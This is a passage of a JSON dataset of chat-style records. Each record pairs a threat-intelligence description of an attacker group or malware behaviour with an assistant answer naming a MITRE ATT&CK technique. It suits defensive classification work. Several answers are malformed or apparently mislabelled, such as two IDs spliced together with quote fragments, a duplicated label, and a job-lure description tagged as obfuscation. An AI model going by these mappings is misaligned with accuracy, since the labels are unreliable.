                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Microsoft has been monitoring these attacks and notifying targeted customers for several months, but only recently reached a point in our investigation where we can attribute the activity to Strontium with high confidence. MSTIC’s investigation revealed that Strontium has evolved its tactics since the 2016 election to include new reconnaissance tools and new techniques to obfuscate their operations. In recent months, it has engaged in brute force attacks and password spray, two tactics that have likely allowed them to automate aspects of their operations. Strontium also disguised these credential harvesting attacks in new ways, running them through more than 1,000 constantly rotating IP addresses, many associated with the Tor anonymizing service. Strontium even evolved its infrastructure over time, adding and removing about 20 IPs per day to further mask its activity"
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "USBferry can use \"netstat\" and \"nbtstat\" to detect active network connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Molerats has sent malicious files via email that tricked users into clicking Enable Content to run an embedded macro and to download malicious archives."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors used a modified and obfuscated version of the reGeorg web shell to maintain persistent access on a target's Outlook Web Access (OWA® ) server."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Whitefly has consistently used a technique known as search order hijacking to run Vcrodat. This technique takes advantage of the fact that Windows does not require an application to provide a specific path for a DLL that it wishes to load. If no path is provided, Windows searches for the DLL in specific locations on the computer in a pre-defined order. Attackers can therefore give a malicious DLL the same name as a legitimate DLL but place it ahead of the legitimate version in the search order so that it will be loaded when Windows searches for it. Whitefly frequently delivers Vcrodat as a malicious DLL that has the same name as DLLs belonging to legitimate software from various security vendors. The group leverages search order hijacking to assure that its malicious DLLs will be executed. Targeting security applications could allow the attackers to gain higher privileges for the malware, since the vendor’s component may be run with elevated privileges"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Modifying the Standard Information timestamps (created, modified, accessed) of every downloaded executable to match a randomly selected file from the System32 directory that was created prior to 2013"
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has created accounts disguised as legitimate backup and service accounts as well as an email administration account."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers configured multiple C2 servers for various stages, reusing several scripts we’ve seen in previous attacks by the group. Moreover, based on the insights so far, it was possible to figure out the relationship with other Lazarus group campaigns"
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Honeybee has batch files that modify the system service COMSysApp to load a malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "2) Shell scripts used to launch the QEMU images. 3) Daemons used to start the shell scripts at boot and keep them running. 4) A CPU monitor shell script with an accompanying daemon that can start/stop the mining based on CPU usage and whether the Activity Monitor process is running"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sidewinder has used VBScript to drop and execute malware loaders."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IndigoZebra has downloaded additional files and tools from its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using job opportunities as template is the known method used by Lazarus to target its victims. The documents created by this actor are well designed and contain a large icon for a known company such as LockHeed Martin, BAE Systems, Boeing and Northrop Grumman in the template. In this campaign the actor has targeted people that are looking for job opportunities at Lockheed Martin. The document’s metadata used in this campaign links them to several other documents used by this actor in the past"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has used JavaScript to create a shortcut file in the Startup folder that points to its main backdoor."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JPIN can inject content into lsass.exe to load a module."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FlawedAmmyy will attempt to detect anti-virus products during the initial infection."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can utilize built-in modules to modify service binaries and restore them to their original state."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SpicyOmelette can identify the IP of a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The diagram below illustrates the methodology used by the actor to communicate with the FoggyWeb backdoor located on a compromised internet-facing AD FS server"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSInfo enumerates local and domain users"
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account', 'T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware can be instructed to search for recently-used documents or other interesting files. It can monitor specific directories and removable devices, report any changes and exfiltrate files of the attackers’ choice"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some strings in HOMEFRY are obfuscated with XOR x56."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY has the ability to set its window state to hidden."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "communicates with its C2 server over HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Finally the script deletes the shadow copies, in a preparation for the ransomware operations."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Duqu examines running system processes for tokens that have specific system privileges. If it finds one, it will copy the token and store it for later use. Eventually it will start new processes with the stored token attached. It can also steal tokens to acquire administrative privileges."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has performed screen captures of victims, including by using a tool, scr.exe (which matched the hash of ScreenUtil)."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of writing a file to the compromised system from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zeus Panda encrypts strings with XOR and obfuscates the macro code from the initial payload. Zeus Panda also encrypts all configuration and settings in AES and RC4."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca collected information on user accounts via the \"whoami\" command."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum was seen using NetSess to discover NetBIOS sessions."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE has been executed through luring victims into opening malicious documents."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Based upon the instructional guide and the provided tools, this package appears consistent with the methodologies FireEye outlined in their research on how these attacks were executed, including specific details such as the use of ICAP via a proxy passthrough, in this case specifically squid, and using certbot to create a Let’s Encrypt SSL certificate"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ryuk has stopped services related to anti-virus."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use DDE to execute additional payloads on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After executing the sample, we noticed the sample copied itself to a hidden folder and launched from the hidden folder. This is a good first step to hide itself from casual observation on disk"
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLUELIGHT can download additional files onto the host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The 2019 Linux variant of the GoldMax backdoor is almost identical in functionality and implementation to the previously identified May 2020 Windows variant. The very few additions to the backdoor between 2019 and 2020 likely reflect its maturity and longstanding evasion of detections. It is likely GoldMax has been used as a long-term persistence backdoor during StellarParticle-related compromises, which would be consistent with the few changes made to the malware to modify existing functions or support additional functionality."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wingbird drops a malicious file (sspisrv.dll) alongside a copy of lsass.exe, which is used to register a service that loads sspisrv.dll as a driver. The payload of the malicious driver (located in its entry-point function) is executed when loaded by lsass.exe before the spoofed service becomes unstable and crashes."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has encrypted and encoded data in its malware, including by using base64."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SharpStage has used a legitimate web service for evading detection."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Koadic can download files off the target system to send back to the server."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In one version of the malware, the code checks if the “ProgramData” folder has folders or files with the keywords “Kasper“, “Panda“, or “ESET“"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download and execute files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "httpclient opens cmd.exe on the victim."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 used dynamic DNS resolution to construct and resolve to randomly-generated subdomains for C2."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TAINTEDSCRIBE can execute \"ProcessList\" for process discovery."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Drovorub can delete specific files from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KeyBoy installs a keylogger for intercepting credentials and keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Several Lazarus Group has conducted word searches on compromised machines to identify specific documents of interest. Lazarus Group malware can use a common function to identify target files by their extension, and some also enumerate files and directories, including a Destover-like variant that lists files and gathers information for all drives."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ThiefQuest uploads files via unencrypted HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used bitsadmin.exe to download additional tools."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "searches the local system and gathers data."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "samples were timestomped by the authors by setting the PE timestamps to all zero values.  also has a built-in command to modify file times."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shark can use encrypted and encoded files for C2 configuration."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has packed malware with UPX."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "captures the content of the desktop with the screencapture binary."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LOWBALL uses the Dropbox API to request two files, one of which is the same file as the one dropped by the malicious email attachment. This is most likely meant to be a mechanism to update the compromised host with a new version of the LOWBALL malware."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 has used malicious links to lure victims into downloading malware."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To do this, Tick uses a number of publicly available hacktools such as Mimikatz, GSecdump, and Windows Credential Editor. The tools are downloaded and deployed to the original install directory previously created by the malware"
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Frankenstein has uploaded and downloaded files to utilize additional plugins."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DustySky scans the victim for files that contain certain keywords and document types including PDF, DOC, DOCX, XLS, and XLSX, from a list that is obtained from the C2 as a text file. It can also identify logical drives for the infected machine."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Denis has a version written in PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This is exceedingly noisy traffic. Furthermore, Hancitor has demonstrated a noticeable lack of stealth in deploying and using this ping tool. Such an unusual EXE file is easy to notice, especially when the results of its scan are saved as a text file in the same directory."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool', 'T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The first thing this malware does is it copies itself to the startup directory for persistence"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak logs key strokes for configured processes and sends them back to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used code signing certificates issued by Sectigo RSA for some of its malware and tools."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Frankenstein has communicated with a C2 via an encrypted RC4 byte stream and AES-CBC."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has established domains that impersonate legitimate entities to use for targeting efforts."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has exfiltrated archives of collected data previously staged on a target's OWA server via HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IceApple can harvest credentials from local and remote host registries."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Duqu will inject itself into different processes to evade detection. The selection of the target process is influenced by the security software that is installed on the system (Duqu will inject into different processes depending on which security suite is installed on the infected host)."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GreyEnergy has a module for Mimikatz to collect Windows credentials from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
